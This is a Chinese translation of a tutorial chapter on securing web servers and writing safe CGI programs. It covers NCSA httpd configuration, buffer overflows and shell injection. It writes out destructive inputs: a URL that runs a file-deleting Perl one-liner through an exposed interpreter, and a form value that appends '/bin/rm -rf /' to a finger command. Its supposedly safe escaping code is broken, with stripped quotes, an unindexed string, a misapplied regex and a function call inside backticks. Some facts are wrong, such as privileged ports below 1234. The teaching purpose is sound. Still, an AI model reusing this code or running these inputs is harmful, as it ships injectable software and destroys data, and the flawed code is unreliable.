目录:
1. 基本的安全问题
1-1. 操作系统
1-2. 增强服务器的安全
1-2-1.你应该在什么地方放置你的CGI程序?
1-2-2.SSI(Server-Side Includes)
1-2-3.增强你的Unix服务器的安全
1-2-4.例子:安全的配置NCSA服务器
2.写出安全的CGI程序
2-1.语言的风险性
2-2.shell危险性
3.安全处理
3-1.SSL
3-2.SHTTP
4.概要
如果你以前从未编写过应用于网络的软件,那么安全问题可能是你在编程时最不注重的了。毕竟,在单机上,你没有必要担心写了不安全的程序,因为,大概也只能有一个人可以接近那台计算机。
但是,在编写应用于Internet的软件中需要非常强调安全问题。有一个挺老的计算机格言说:"使一台计算机真正安全的唯一方法是将它与世界断开连接并把计算机放到紧锁的房间里。"可见,将计算机和一个网络简单相连就会降低你的计算机的安全性。
对于越大的相连的网络这句话越适用,比如Internet,这里有成千上万的人可能会访问你的计算机。很多基于Internet的服务,特别是WWW,别设计成能使其他人很容易的从你的计算机中获取信息。这些你允许接受访问的服务(或者是有意的,或者是无意的)都有可能成为老谋深算、心怀恶意的人的攻击途径。
一个很糟糕的网络服务器很容易被攻破,甚至潜在给出了可以访问你的整个计算机和重要数据的权限。
我说你提供的每一项网络就象进入你系统中另一个门,是指什么呢?什么才是安全破坏呢?不管是什么目的,安全破坏是指一个人从你的计算机中获得了未经授权的访问权。"Unauthorized access"(未经授权的访问权)也可以理解为很多事情,试图从服务器上运行一个非公共的程序,甚至是获得在Unix中获得root权限。
你过多的依赖于为网络服务器编写安全程序的程序员的知识和细心。毕竟,没有人指望你详细审查几千行的源码只为了弄清楚软件是否有安全漏洞;大多数情况,你依赖编程者的可靠性和其他审阅源码和仔细的帮助测试软件的专家。
假如网虫们证明了你不能完全相信这些程序员可以写出完美的安全的代码,那么你可以采取措施最大限度的减少风险。
在后面的"保护你的Web服务器",你将学习Web服务器的安全。目前,假定你的应用于Web服务器的软件是安全的,并且正确的配置了;也就是说,没有人可以仅仅通过你的Web服务器从你的机器中获得未经授权的权限。为什么写安全的CGI脚本很重要呢?CGI是一个允许你拓展Web服务器的一般协议。通过编写CGI程序,你能够增加Web服务器的功能。这些功能很可能无意中引入新的安全漏洞。一个糟糕的CGI应用程序很可能允许任何人拥有你的机器的完全的权限。
用户提交一个表单或者是以另一种方式访问CGI脚本的时候,本质上来说,是你允许他们远程运行你的服务器中的应用程序。因为很多的CGI应用程序接受用户的表单输入(或通过填写表,或是通过命令行),从另一个角度来说,你允许用户控制CGI程序的运行。作为CGI程序的作者,你需要确定你的CGI脚本只能用来实现它指定的功能。这一章提到了相关的Web安全问题,提供了编写安全的CGI程序的深入的资料。在本章的最后,你也会学会怎样安全的编写CGI。
1. 基本的安全问题
你的Web服务器的全面的安全性取决于很多因素。如果你的Web服务器没有正确配置或者系统有其它漏洞的话,那么一个安全的CGI程序也是毫无用处的。这里,我论述一些相关的Web安全问题,并说明如何为CGI程序正确的配置你的Web服务器。
1-1. 操作系统
一个通常的问题是什么样的平台对Web服务器来说更安全?运行System 7的Macintosh,Unix的工作站,运行OS/2或Linux的PC等等。在这个问题上有过很多争论,这些反映了人们对不同的操作系统的不同的偏爱。
没有一个操作系统比另外一个明显安全。Unix被认为比单用户的平台(比如Macintosh或者是运行着Windows的PC)更安全,因为曾经有人攻破过一些运行着后者(注:括号中)的机器,并拥有了所有文件的权限。然而对于Unix,有一个关于文件属主和权限的基本的理解。如果你的服务器正确的配置了,并被一个安全的用户(比如:非root用户)拥有,这时候,如果未经授权的用户闯进来,他(她)只能造成有限的破坏。然而,有限的破坏已经够糟糕了,在以后的章节的例子中你会明白。
另一方面,因为Unix经常要配置很多不同类型的网络服务,比如mail,FTP,Gopher,WWW等等,因此,有更多的潜在的“后门”。加强这些服务的安全性是一个耗时的过程,甚至对有经验的系统管理员亦如此。即使你每项配置正确无误,然而在每个单独的软件包里仍有可能出现恼人的bug。安全漏洞在各种软件包中并不是罕见的,从一些组织(比如CERT(the Computer Emergency ResponseTeam))的有关各种的Unix网络服务周期性的通知中我们可以清楚的了解到。
每一个不同的平台都有其不同的安全含意,但是不能彼此比较安全性。尽管你应该注意每个操作系统的安全性,但是这不应该成为你选择平台的主要标准。选择你的平台,纠正有关该平台相关的安全漏洞,然后安全正确的配置你的Web服务器。在你完完全全的完成这些步骤之后,你才应该将你的精力投入到编写安全的CGI脚本中去。
1-2. 保护你的服务器
编写安全的CGI脚本的第一步要确定你安全并正确的配置了你的Web服务器。如果你的Web服务器并不可靠,那即使你再仔细编写你的CGI脚本也是没有用的,人们仍然可以闯入你的计算机。而且,正确的配置你的Web服务器能够减小糟糕的CGI程序所带来的可能的危害。
More:选择一个安全的Web服务器
在不同的平台有数不清的Web服务器可供使用。如果可能的话,自我确定一个产品是否安全是很困难的,你将不得不依靠公司的信誉和口头承诺。
检查你的选择。在你拥有了一个Web服务器的列表之后,看一下每个产品的有效期以及目前有多少人使用它。越老的并且经常使用的Web服务器,有关的安全方面的bug越有可能被发现并修补。如果源码是开放的,并且你有时间和专门技术,自己从头至尾看一下源文件,看看能否找到潜在的漏洞。阅读网络中不同的新闻组对该产品以及作者和发行人的评论。著名的公司或作者会很快的通知用户其产品的任何问题。阅读各个组织(如CIAC(Computer Incident AdvisoryCapability)和CERT)有关安全方面的警告信息。
检查所有的服务器组件并确定你是否真的需要所有组件的特性。越复杂、功能越强大的服务器,越有可能存在未被发现的安全问题。确定你的服务器支持日志功能,这样你可以跟踪安全问题或其它故障的原因。
有一个对付意外事件的计划。如果发现安全漏洞,要随时准备升级或者替换你的Web服务器。关注新版本的发行和新闻组中有关你的Web服务器的信息。尽量使用Web服务器最新的非测试的版本。
不必担心免费的服务器。关于开发源码使服务器更安全或者相反有争论。如果服务器的源码不公开,安全漏洞将更难发现。如果源码公开,那么,理论上,漏洞将很快被发现,公开并得到修补。
在增强服务器的安全性时,应该有三个目的:
A.配置你的程序使它只能提供你指定的服务。
B.不到必要的时候不暴露任何信息。
C.如果系统遭到入侵,最大限度地减少损坏。
我知道的有关你的计算机的信息越多,我就越有机会闯入你的计算机。例如,如果我知道哪个目录或者文件夹存储了你的所有的敏感的、私有的信息,这样,我将进入你的系统获取全部访问权缩小至只是获得某个目录的权限(通常是更容易了)。或者,如果我可以访问你的服务器配置文件或源码或者是你的CGI脚本,那我可以很容易的浏览它们来寻找安全漏洞。如果你的系统有漏洞,你不想让别人轻易知道,你必须在别人之前发现它们。
1-2-1.你应该在什么地方放置你的CGI程序?
很多服务器允许你通过各种不同途径来运行CGI程序。例如,你可以指定一个特定的目录作为你的cgi-bin。或者,你可以允许CGI存放在任何目录下。
这两种方法都有优缺点,但是从安全的角度来说,在一个指定的目录中放置你的所有的CGI应用程序更好。把所有的程序放到同一个目录使你很容易跟踪你服务器器所有的应用程序并审查它们的安全漏洞,同时,还可以防止被恶意修改。
如果你倾向于使用描述型的语言(例如Perl)来编写你的大部分的应用程序,那么源码被包含在程序自身中。如果你不小心的话,这些代码很容易被阅读,甚至被利用。例如,很多文本编辑器存储备份的文件,通常在文件名的后面加一个扩展名(比如.bak)。
举个例子,emacs使用扩展文件名~存储备份文件。假设你使用Perl编写了一个CGI脚本——program.cgi——存储在Web的数据目录而非中心的指定的目录中。
现在,假设你使用emacs对程序做了一些琐碎的修改而忘记了删除备份文件。现在,在你的目录里有了两个文件:program.cgi和program.cgi~。Web服务器知道以.cgi结尾的文件是CGI程序,它会运行这个程序而不是显示它的内容.然而,聪明的用户可能尝试访问program.cgi~.因为它不是以.cgi结尾,你的Web服务器将它以原始的文本文件发送出去,这样就允许用户查看你的源代码来搜寻可能的漏洞.这违反了避免暴露不必要信息的原则.
当然,如果你的服务器允许你指定位于某一特定的目录下的文件均为CGI,那么这个文件的扩展名是什么也就无关紧要了.这样,在前面的例子中,如果备份文件放在这样特定的目录里,当用户试图访问它时,服务器就会运行这个程序而不是发送源代码.
注意到在你的服务器中指定一个中心目录作为CGI程序的存放位置是有限定的,特别是在多用户系统中.例如,如果你是一个ISP(Internet Service Provider)
并且你想让你的的用户可以编写并运行他自己的CGI程序,你可能有意允许CGI程序
可以存放在任何的目录中.做这个之前,认真考虑一下可替换的选项.你的客户们打
算写很多的特定的个性化的脚本吗?如果不是,最好是让你的客户将他的CGI脚本提
交给你,然后由你将其添加到cgi-bin目录中,而不要允许CGI可在任何目录中有效.
关于CGI程序的位置另外一个问题是将解释器放在哪里.解释脚本时,服务器运行
解释器,由它顺序装载脚本并执行.
不要将解释器放到你的cgi-bin目录中,或其他有关你的数据结构的任何目录中.
给了用户访问解释器的权限本质上就是给了他们运行你的系统中任何程序或命令的
权力.
如果你使用Windows或其他的非Unix操作系统,这尤其重要.在Unix系统中,你可以
在脚本的第一行中指定解释器.例如:
#!/usr/local/bin/perl
# this first line says use Perl to run the following script
在Windows中,举个例子,没有类似在脚本中指定解释器的方法.一个调用Perl脚本的
方法是建立一个批处理文件来调用Perl和脚本:
rem progname.bat
rem a wrapper for my perl script, progname.pl
c:\perl\perl.exe progname.pl
然而,你也许倾向于避免建立额外的程序,只是简单的将perl.exe放在你的cgi-bin
目录中,并访问如下的URL:
http://hostname/cgi-bin/perl.exe?progname.pl
这也行,但是这样也允许了网络上的任何一个人运行你机器中的Perl命令.例如,可以
访问如下的URL:
http://hostname/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3
经过解码,其相当于调用Perl并运行下面的一行程序,这行程序将删除当前目录的所有
文件.显然,这是我们不想的.
unlink <*.*>;
你永远没有理由将解释器放入你的cgi-bin目录中(或者其他可以运行CGI的目录),所以
千万不要这么做.一些Windows服务器能够根据其扩展名辨别脚本的类型并运行相应的解释
器.例如,Win-HTTPD认为每一个以.pl结尾的CGI脚本是Perl脚本,并自动运行Perl.如果你
的Web服务器没有这个特性,就像这章第一个Windows Perl例子那样使用包装的脚本.
More:我应该使用一个解释器吗?
如果你使用一个Unix或者是Macintosh的Web服务器的话,记住永远不要冒险将
一个解释器放到你的cgi-bin中.前面我们提到过,Unix允许你指定特定的位置给
包含脚本的解释器.为了在Macintosh中使这些脚本有效,你可以使用一个应用程
序如ResEdit编辑代码将脚本与挪用的解释器结合.
1-2-2.SSI(Server-Side Includes)
(译者注:本篇中我将其译为"服务器嵌入指令")
在第四章中,你已经知道了应该避免服务器嵌入指令的原因。一个经常提出
的一般原因是安全性。很显然,一些服务器嵌入指令(特别是NCSA和Netsape)
的执行会允许用户将程序输入包含到HTML文件中。每次当这些HTML文件被访问
时,在服务器端程序会运行并将输出作为HTML文件的一部分显示出来。
允许这种服务器的嵌入指令,你就很容易受到一些安全风险的影响。首先,
在Unix的计算机中,程序由服务器的所有者运行,而不是程序的所有者。如果
你的服务器没有正确配置,并且将重要的文件或程序交给服务器的所有者,这
些文件和程序以及它们的输出有可能被你的计算机的用户所访问。
当你允许用户通过浏览器修改你系统中的HTML文件时,这种风险就增大了。
一个通常的例子是留言本。在留言本中,用户填写表单并把信息提交到CGI程序
中,程序一般是将未编辑的信息附加到一个HTML文件中。如果不编辑或过滤提
交的信息,你就允许了用户从他或她的浏览器中提交HTML代码。如果你允许程
序在服务器端嵌入执行,不怀好意的用户就可以通过提交如下的附加代码给你
的机器造成破坏:
这个服务器嵌入指令将试图尽可能地删除你的机器中的所有内容。
你可以通过很多方法避免这个问题,而不需要完全关闭服务器嵌入。你可以
在将提交的文本附加到你的留言本之前过滤所有的HTML附加代码。或者你可以
禁止你的服务器嵌入中的exec的功能(在这章后面的"增强你的Unix服务器的安
全"中我将演示在NCSA服务器中如何做)。
如果你忘记了其中的任何一条,其他的一些防护措施同样可以很大程度上减少
因这种附加代码造成的危害.例如,只要你的服务器以不存在的用户,非root的身
份运行,这个附加代码不会删除任何重要的东西,可能什么也不会丢掉.假设不还
好意者不是试图删除你的磁盘上的所有东西,而是使用如下的代码获取你的
/etc/passwd作为破解之用:
当然,如果你的系统使用的是shadow型的passwd档,那么你的/etc/passwd对
潜伏的hacker来说毫无用处.
这个例子论证了通常的服务器端嵌入指令和CGI中两个很重要的问题.首先,
安全漏洞可以被完全隐藏.谁会想到一个简单的使用SSI编写的留言本程序可以
体现如此之大的安全风险?其次,一个安全漏洞的潜在的危害可以通过正确配置
你的服务器和加强你的系统安全来降低到最小.
1-2-3.增强你的Unix服务器的安全
一个安全的Unix系统对于Web文件服务来说是个非常优秀的平台。然而,在
加强服务器安全和正确配置Unix的Web服务器的过程中伴随着很多复杂的问题。
你应该做的第一件事就是确定你的机器已经尽可能的安全了。
将你不需要的网络服务关掉,不管对你而言他们是多么没有害处。任何人未
必能使用finger协议侵入你的系统,举个例子,它提供了一些用户的信息,然
而,finger可以提供给hacker关于你的系统的有用的信息。
加强你的系统的内部安全。如果hacker设法破解了一个用户帐号,要确定这
个hacker不会获得额外的权限。安全shadow型的password文件和去除设定用户
权限的脚本(脚本以所有者的身份运行,即使是由其他用户调用时)是很有用的。
加强Unix机器的安全是一个复杂的课题,超出了本书的范围。我强烈建议你
购买一本这方面的书,阅读Internet上这方面的资源,如果有必要的话,甚至
可以雇佣一个咨询顾问。不要低估加强你的机器安全的重要性。
另外,分配隔离的空间给你的Web服务器和文件。你的文件目录的用途是将这
些文件提供给其他人使用,可能是整个Internet,因此你不要将你别人知道的
任何东西放到这些目录里。你的服务器目录包含重要的日志和配置信息,并且
你要尽可能的不要让你的内部用户看到或修改它。
要明智的设置你的目录和服务器的所有权和使用权。为Web相关的目录建立一
个新的用户和组是通常的一个方法。确定非特权用户不能更改服务器或文件目
录。
你的服务器千万不要以root身份运行(running as root)。在Unix系统中,
只有root能够访问小于1234的端口。因为缺省的Web服务器运行于端口80,你需
要是root来启动一个Web服务器。然而,在一个Web服务器以root身份运行以后,
它可以修改自身进程的所有权,或者改变它用以处理连接的子进程的所有权。
其中任何一种方法都需要服务器以非root身份运行。确定配置你的Web服务器
使其以非root身份运行,最好是以一个完全不存在的用户如nobody。这样,如
果在你的Web服务器或CGI程序中有漏洞时,它可以降低潜在的危害。
禁止所有你不需要的服务器特性。如果你开始禁止了一个特性,而后来又决定
使用它时,你总是可以将其改回来的。像SSI和SSL都是你可能需要禁止的。
如果你的用户不需要通过你的服务器将他们个人的Web文件用于服务,就需要
使Web目录无效。这样一来,你就可以完全地控制你的机器中用于服务的所有文
件,这对于通常的维护和安全是很重要的。
如果你的用户需要将他们个人文件用于服务(例如,如果你是一个IAP(Internet
Access Provider),确信他们不能超越你的主范围。认真考虑一下用户是否需要
在他们的个人目录里运行CGI程序的权力。前面我们已经提到,最好将所有的CGI
放到一个集中的位置。
--------------------------------------------------------------------
CGIWRAP:
在Web上一个流行的软件包是cgiwrap,由Nathan Neulinger(nneul@umr.edu)
编写。这个软件包允许用户作为程序的拥有者运行他们自己的CGI程序,而不是
作为服务器的所有者。
不清楚仅仅允许所有人运行他们自己的未包装的CGI程序是更否更有益。一方
面,一个糟糕的CGI脚本由nobody拥有比起由一个实际存在的用户拥有来说,前
者可能造成的危害更小。另一方面,如果CGI程序以nobody运行对系统造成了破
坏,那么责任在于系统管理员,相反,如果只是一个特定的用户文件被破坏了,
那么责任终将是用户的。
我的建议是不要赋予用户运行个人CGI的权力,如果这样不可能,那么你最终
使用cgiwrap还是一个简单的程序取决于你想责任出在哪里。
---------------------------------------------------------------------
最后,你可能需要考虑你的Web文件建立一个chroot环境。在Unix系统中,你
可以通过使用chroot来保护目录。当server运行在一个chroot的目录中时,它看
不到这个目录之外的任何东西。在一个chroot环境中,如果有人想侵入你的Web
服务器,他们只会破坏这个目录里的文件。
注意,一个chroot环境仅适用于当Web服务器提供单独的文件资源。如果你的Web
服务器将用于服务的用户文件存放在多个目录中时,想建立一个有效的chroot环境
几乎是不可能的。另外,解释器(例如Perl或者一个shell)的存在也会降低chroot
环境的性能。在一个没有任何shell和解释器的chroot环境中,侵入系统的人最坏
情况下能改变和破坏你的文件,如果存在解释器,潜在的危害会上升。
1-2-4.例子:安全的配置NCSA服务器
我将通过讨论NCSA服务器(v1.4.2)来论证怎样着手正确地配置Unix环境下的
通用的Web服务器。有很多Web服务器可以运行在Unix系统下,NCSA是最早的服
务器之一,被广泛使用并且属于自由软件,而且相当容易配置。我仅说明我认
为对Web服务器安全方面有关的配置;想获得有关配置NCSA httpd更多详细的说
明,请参照它的站点:
http://hoohoo.ncsa.uiuc.edu/
你可以将这里说明的原则应用到几乎所有的Unix Web服务器中。
首先,我需要表明我的目标。在这个方案中,我想将NCSA服务器架设在一个很
小的名为MyCompany的ISP的安全的Unix机器上。这台机器的域名为
www.mycompany.net。我需要我的机器中的每一个拥有帐号的人能够将他或她的
Web文件用于服务并可以使用CGI或其他的特性。
我绝对应该需要什么特性呢?这里,因为我是一个很小的ISP,我不能让用户自
行将其CGI用于服务。如果他们想写出并使用他们自己的CGI程序,他们必须将其
提交给我来检查;如果CGI程序没问题,我就安装它。另外,我要提供一些通常
需要的一般的程序,比如留言本和各类表单处理的应用程序。现在,这个方案里
我不需要其他任何的特性了,包括服务器嵌入指令。
我们来看一下我将如何配置我的Web服务器。我将建立用户和www组;这些将拥
有所有恰当的目录。我将建立一个目录来存放我的服务器文件
(/usr/local/etc/httpd/)和存放Web文件的目录(/usr/local/etc/httpd/htdocs/)。
所有这些目录对全球是可读的对所建立的用户和组是可写的。
现在,我将要配置服务器。NCSA HTTPD有三个配置文件:access.conf,httpd.conf
和srm.conf。首先,你需要告诉httpd你的Server和HTML的目录所在。在httpd.conf
中,以如下一行来指定Server的目录:
ServerRoot /usr/local/etc/httpd
在srm.conf中,这样指定文件目录:
DocumentRoot /usr/local/etc/httpd/htdocs
因为我想指定在/usr/local/etc/httpd/cgi-bin目录中的所有文件为CGI程序,
在srm.conf中包含如下一行:
ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgi-bin
注意我的cgi-bin目录的实际位置在我的服务器目录而不是文件目录。因为我想
要使我的服务器目录(包括包含CGI的目录)尽量为私有,我将它放到文件目录以外。
如果你在该目录中有一个名为mail.cgi的CGI,我可以通过如下的URL访问它:
http://www.mycompany.net/cgi-bin/mail.cgi
在srm.conf中需要编辑另一行;它对我们追求特定的服务器安全不是特别有关系,
但是为了彻底的安全,我还是要提到它:
Alias /icons/ /usr/local/etc/httpd/icons
这个Alias指令允许我们为你的文件目录树内部或以外的目录指定一个别名。与
ScriptAlias指令不同,Alias并不改变目录的含义。
因为我需要禁止服务器嵌入指令,并不允许CGI在cgi-bin以为的目录运行,在
srm.conf中我通过在行首插入一个英镑符号(#)注释掉几行:
#AddType text/x-server-parsed-html.shtml
#AddType application/x-httpd-cgi.cgi
AddType可以帮助你在MIME类型和文件扩展名间建立关联。text/x-server-parsed-html
对parsed HTML来说是MIME类型,而application/x-httpd-cgi则是CGI应用程序
类型。这里,我不需要为这种MIME类型指定扩展名,因为在配置服务器的时候,
我们忽略cgi-bin中的所有文件扩展名,一律被视为CGI。
最后,我需要通过编辑全局的access.conf文件来设置某些目录的属性和访问
权限。为了为所有的目录定义全局的参数,仅仅将没有任何环境标记的指令放到
文件中。为了为特定的目录指定参数,在directoryname是目录的全路径时,通过
来包含指令。
缺省情况下,下面的全局选项这样设置:
Options Indexes FollowSymLinks
当URL指定的目录里没有要查找的文件时,Indexes允许你指定一个文件。缺
省情况下,这个变量为index.html,通过srm.conf中的DirectoryIndex来指定,
很符合我们的意图。FollowSymLinks意指服务器会返回符号连接指向的数据。
我没看到这个特性的必要性,所以我禁止了它。现在,这一行看起来象这样:
Options Indexes
如果我想在任何目录中使CGI程序有效,我可以通过包含ExecCGI选项来设置:
Options Indexes ExecCGI
这一行,结合在srm.conf中的AddType指令,可以允许我通过在任何目录中给所
有的CGI程序添加.cgi的扩展名来执行一个CGI。
缺省情况下NCSA httpd的配置,通过在一个具有适当的属性和访问限制的特
定目录中创建.htaccess文件使access.conf中的所有设置都可以被超越。在这
种情况下,我不介意用户改变它们的访问限制。然而,我不想赋予用户在他们
自己的目录里执行CGI和.htaccess文件的能力。
AddType application/x-httpd-cgi .cgi
Options Indexes ExecCGI
因此,我编辑access.conf来允许用户超越除了选项外所有的设置:
AllowOverride FileInfo AuthConfig Limit
现在,我的服务器安全的配置了。我只允许在cgi-bin目录中运行CGI,并且
使服务器嵌入指令完全无效。服务器以nobody用户运行,一个我的系统中不存
在的用户。我禁止了所有我不需要的特性,并且用户不能超越这些年特殊的限
制。想了解很多的其他的配置信息,包括详尽的访问限制,请参照NCSA服务器
说明文件。
2.写出安全的CGI程序
假设你已经使的你的计算机和Web服务器很安全了,那么你后面就应该学会
怎样写出一个安全性很好的CGI程序。编写安全的CGI的原则和前面提到的相
似:
A.你的程序只能实现你指定的功能。
B.不要给客户额外的它不需要知道的信息。
C.不要相信客户给你正确的信息。
关于第一条可能存在的安全隐患我在guestbook的例子中已经说明了。我提到
了几个可以揭露漏洞的常见的错误,但是,你同样应该记住:你应当考虑你所
应用的每一个函数的所有含义。
第二条是一般安全性原则的简单扩展:系统之外的人对你的系统了解的越少,
你的系统就越没有可能被攻破。
最后一条原则只是一条很好的很重要的编程原则,但同样也是安全性很好的
一个。CGI程序应该是安全可靠、健壮的。一个hacker可能做的第一件事是想尽
一切办法通过在你的CGI程序中不断调整输入来搞乱程序,进而达到攻入计算机
的目的。如果你的程序并不健壮,那么这时,它或者会崩溃,或者会实现其它
的功能(当然这些功能是你不允许的)。这两种可能性都是令人不快的。为了杜
绝这种可能性,不要对你的客户可能发送的信息格式或值作任何的假定。
大多数CGI程序的本质是简单的输入/输出程序。它提取客户端的说明并返回
一些响应。这种程序几乎没有风险(当然也会出现漏洞,后面你会看到)。因
为CGI程序并不对输入感兴趣,没有什么错误可能发生。然而,一旦你的程序利
用输入启动,可能回调用其他的程序,写文件,或者做一些功能更强大的而非
简单返回输出的事情,那么你就会冒引入安全漏洞的风险。通常,功能是直接
和安全风险成比例的。
2-1.语言的风险性
不同的语言有其与生俱来的安全风险。任何语言都可以编写安全的CGI程序,
但是你必须注意每个语言的怪癖(急转)。这里,我只讨论C和Perl,但是它
们的有些特性并不适用于其它语言。想得到其他语言的指定信息,请参照适当
的文件。
在前面的章节我们学到,一般来说,编译CGI程序比解释脚本更可取。编译
程序有两个优势:首先,你不需要有服务器可理解的解释器;其次,程序的
源文件是不可访问的。注意,像Perl一样的传统的解释型语言可以被编译成
二进制形式。(关于如何在Perl中实现,请参阅Larry Wall和Randall Schwartz
的《Perl编程》)从安全立场来说,编译的Perl程序和编译的C程序一样好用。
像C这样比较低级的语言会出现被称为buffer overflow的问题。C语言并没
有处理字符串的好的内置的方法。通常的方法或者是声明一个字符数组或者
指向字符的指针。很多人倾向于前一种方法,因为它编程比较简单。思考一
下下面两个功能等价的程序代码。
程序1. 在C语言中使用数组定义字符串.
#include
#include
#define message "Hello, world!"
int main()
{
char buffer[80];
strcpy(buffer,message);
printf("%s\n",buffer);
return 0;
}
程序2. 在C语言中使用指针定义字符串.
#include
#include
#include
#define message "Hello, world!"
int main()
{
char *buffer = malloc(sizeof(char) * (strlen(message) + 1));
strcpy(buffer,message);
printf("%s\n",buffer);
return 0;
}
程序1比程序2简单得多,而且在这个特定的例子里,两者都可以很好的工
作。我们假设有这样一个例子:我已经知道了我处理的字符串的长度,因此,
我可以定义一个适当的数组长度。但是,在CGI程序里,你不知道输入的字符
串会有多长。举个例子,如果信息的长度大于80 char,那么程序1会崩溃(即
我们通常说的"溢出")。
这被称为buffer overflow,聪明的hacker就会利用这个来远程执行命令。这
个缓冲溢出的bug存在于NCSA httpd v1.3中。这是为什么一个网络(或CGI)程
序员需要更细心地编程的很好的例子。在一个单用户的机器里,缓冲溢出只能
造成系统崩溃。在崩溃的单用户计算机中没有必要利用缓冲溢出来执行程序,
因为大概你已经执行了你需要的任何程序(除了公共终端)。然而,在网络系统
中,一个崩溃的CGI程序远不是这么简单,它会成为未经授权的用户进入的后门。
程序2中的代码解决了两个问题。首先,它动态的分配了存储字符串的足够的
空间。其次,注意我将信息的长度加了1。这样,我实际上分配了比字符串长度
多1字节的内存。这就保证字符串不会是0。因为目标字符总是会为额外的字符
留有空间,strcpy()函数在目标字符串的最后添加了空字符,strcpy()放置了空
字符。没有理由认为传送给CGI脚本的字符串会是空字符,因此,为了以防万一,
我在最后留了1字节的空间。
倘若你的C程序避免了像缓冲溢出这样的问题,那么你就可以写出安全的CGI
程序。然而,这是艰苦的工作,特别是当你的CGI很大更复杂的时候。这些问题
将迫使你花费比一般的CGI任务更多的时间来思索低级语言的设计工作。基于这
个原因,你可能更喜欢高级一点的编程语言(如Perl)。
然而,具有高级特点的Perl有着冒失的一面。尽管你能假设Perl会正确地处
理字符串的存储,但当Perl使用你并不注意的高级一点的语法做一些事情时,
很可能会有危险。在下一节中你会更清楚的了解到。
2-2.shell危险性
很多的CGI任务都可以使用其他的程序很容易的实现。例如,你要写一个CGI
的邮件网关,完全使用CGI程序来完成执行邮件的发送代理是很愚蠢的行为。更
实用的方法是将数据通过管道传送到一个存在的邮件传送代理程序,比如
sendmail,然后让sendmail来完成剩下的工作。这种习惯很好并值得鼓励。
安全风险依赖于你怎样调用这些外部的程序。完成这项工作在Perl和C中有很
多函数可以实现。它们中很多函数通过调用shell,然后让shell来执行这个命
令。这些命令被列在表1中,如果你使用了它们中的一个,那么你就使得Unix
shells在攻击下显得很脆弱。
表1. C和Perl中可以调用shell的函数.
Perl 函数 C 函数
system(...) system()
open(| ...) popen()
exec(...)
eval(...)
`...`
为什么shell很危险呢?有很多的非数字的字符可以通过shell转换成特殊的
字符。这些字符被称为元字符(译者注:这里我将metacharacter译为元字符),见表2。
表2. Shell metacharacters.
; < > * | ` & $
! # ( ) [ ] : {
} "
每一个这种字符在shell中都起着特殊的作用。例如,假如你想利用finger来
查询一台计算机并将结果存储到一个文件中,你可以在命令行中如下输入:
finger @fake.machine.org > results
这会使用finger查询主机fake.machine.org并将查询结果保存到一个文本文
件results中。这个>字符在这里是一个重定向符。如果你要实际地使用>字符
——例如,你想将它回显到屏幕上——你将需要在这个字符前加一个反斜杠。
举个例子,下面将向屏幕输出一个符号>:
echo \>
这被称为转义字符(escaping or sanitizing the character string)。
hacker是怎样利用这个作为他(她)的优势的?观察以下程序3中用perl编
写的finger程序。这个程序所做的是允许用户查询一个用户和一台主机的详细
信息,并且,这个CGI可以查询用户并显示结果。
程序3. finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an unsafe finger gateway
require cgi-lib.pl;
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger $in{username}`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
乍一看,这个程序好象没有什么害处。因为是用Perl编写的,不会有buffer
overflow的危险。我使用了finger的完全路径,这样gateway不会被伪造的
finger程序所欺骗。如果输入是一个不合适的格式,那么gateway将返回一个错
误而不会被人利用。
但是,如果我尝试如下的输入会怎样呢(如图1所示)
nobody@nowhere.org;/bin/rm -rf /
FINGER GATEWAY
___________________________________
User@Host: |nobody@nowhere.org ; /bin/rm -rf / |
-----------------------------------
______________
| Submit Query |
--------------
(图1)
(译者注:原图是一个浏览器,我仅画出HTML页中的部分。)
我们来看一下下面的程序行会如何处理这样的输入:
print `/usr/bin/finger $in{username}`
由于你使用了向后的标记,首先它会执行一个shell。然后它将执行如下的
命令:
/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /
这将会怎样呢?假设在命令行像这样输入。它会删除所有的文件和目录,从
root的目录开始。我们需要sanitize这个输入来render the semicolon(;)
metacharacter harmless.在Perl中,利用表4中的函数可以很容易的实现。
(C中的这些等价函数在表5中;它们来自cgihtml的C库。)
程序4. Perl中的escape_input().
sub escape_input {
@_ =~ s/([;<>\*\|`&\ $!?#\(\)\[\]\{\}:\"\\])/\\ $1/g;
return @_;
}
程序5. C语言中的escape_input().
char *escape_input(char *str)
/* takes string and escapes all metacharacters. should be used before
including string in system() or similar call. */
{
int i,j = 0;
char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1));
for (i = 0; i < strlen(str); i++) {
printf("i = %d; j = %d\n",i,j);
switch (str) {
case |: case &: case ;: case (: case ): case <:
case >: case \\: case \": case *: case ?: case \\\:
case [: case ]: case $: case !: case #: case ;:
case `: case {: case }:
new[j] = \\\;
j++;
break;
default:
break;
}
new[j] = str;
j++;
}
new[j] = \n;
return new;
}
这将返回一个带有跟随在\后的shell转义字符的字符串。这个修正的
finger.cgi网关在程序6中。
程序6. 一个安全的finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an safe finger gateway
require cgi-lib.pl;
sub escape_input {
@_ =~ s/([;<>\*\|`&\ $!#\(\)\[\]\{\}:\"])/\\ $1/g;
return @_;
}
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger &escape_input( $in{username})`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
这次,如果你使用前述相同的输入,将派生出一个shell,它将尝试这样执
行:
/usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /
这样,那个恶意的企图将无法生效.它不再试图删除系统中所有的目录,而是
尝试finger用户nobody@nowhere.org,:,/bin/rm,-rf和 /。由于后面的字符
组合未必是你的系统中的用户,因此可能会返回一个错误。
记住几个问题。首先,如果你的Web服务器正确的配置了(例如,以非root
身份运行),那么,删除文件系统中的所有内容的企图不会成功。(如果服务
器以root身份运行,那么潜在的危害将是不可估量的。千万不要这样做!)另外,
用户还假定rm命令在/bin目录中。他或她假定了rm在这个路径中。然而,所有
这些只是对大多数的Unix系统的乐观的假设,并不是完全适用的。在一个
chrooted系统环境中,这个目录中并没有rm命令。那么hacker的努力将是徒劳
